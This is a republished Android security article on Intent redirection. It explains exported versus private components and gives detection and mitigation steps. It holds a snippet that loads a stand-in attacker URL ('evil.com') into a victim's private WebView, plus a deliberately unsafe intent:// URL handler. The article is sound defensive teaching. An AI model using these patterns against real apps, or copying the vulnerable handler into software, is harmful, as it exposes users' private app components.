How Intent Redirection Bypasses Android Exported Component Restrictions
This article explains the difference between exported and non‑exported Android components, demonstrates how malicious apps can embed an Intent inside another exported component to reach private components, and provides practical detection and mitigation techniques to protect against Intent redirection vulnerabilities.
Exported Components (Public)
Exported components can be accessed by any third‑party app. They are defined in AndroidManifest.xml when android:exported="true", when an intent-filter is present without an explicit android:exported="false", or when a provider on API level <17 defaults to true (API ≥17 defaults to false).
Non‑exported Components (Private)
Non‑exported components are declared with android:exported="false", have no intent-filter and no explicit exported attribute, or have an intent-filter but explicitly set android:exported="false". Third‑party apps cannot invoke these components directly.
<activity android:name=".WebViewActivity" android:exported="false" /> <activity android:name=".WebViewActivity" /> <activity android:name=".WebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="victim" android:host="secure_handler"/>
</intent-filter>
</activity>Intent Redirection
Attackers can embed an Intent object as an extra in an exported component and later forward it to a non‑exported component, effectively bypassing Android’s sandbox. Because Intent implements Parcelable, the nested intent can be passed through getParcelableExtra and launched with startActivity, startService or sendBroadcast.
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ui.WebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);The system would normally throw java.lang.SecurityException for a non‑exported component, but the redirection chain makes the call succeed.
Similar attacks can target non‑exported ContentProvider components by granting URI permissions through the embedded intent.
WebView can also be abused: if shouldOverrideUrlLoading parses intent:// URLs without proper validation, a malicious web page can trigger the same redirection.
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if ("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}Finding the Vulnerability
Identify exported components and check whether they accept external intents.
Search for calls to startActivity, startService, or sendBroadcast that use intents constructed from untrusted data.
Look for getParcelableExtra calls that cast the result to Intent without thorough validation.
Mitigation Methods
Mark vulnerable components as private by setting android:exported="false" when they do not need to receive external intents.
Validate the source of any extracted intent (e.g., using getCallingActivity() and signature checks) before forwarding it.
Ensure embedded intents are harmless: verify component names, package names, and that no URI permission flags are granted.
Use resolveActivity() or similar APIs to confirm which component will handle the intent before launching.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
OPPO Amber Lab
Centered on user data security and privacy, we conduct research and open our tech capabilities to developers, building an information‑security fortress for partners and users and safeguarding OPPO device security.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
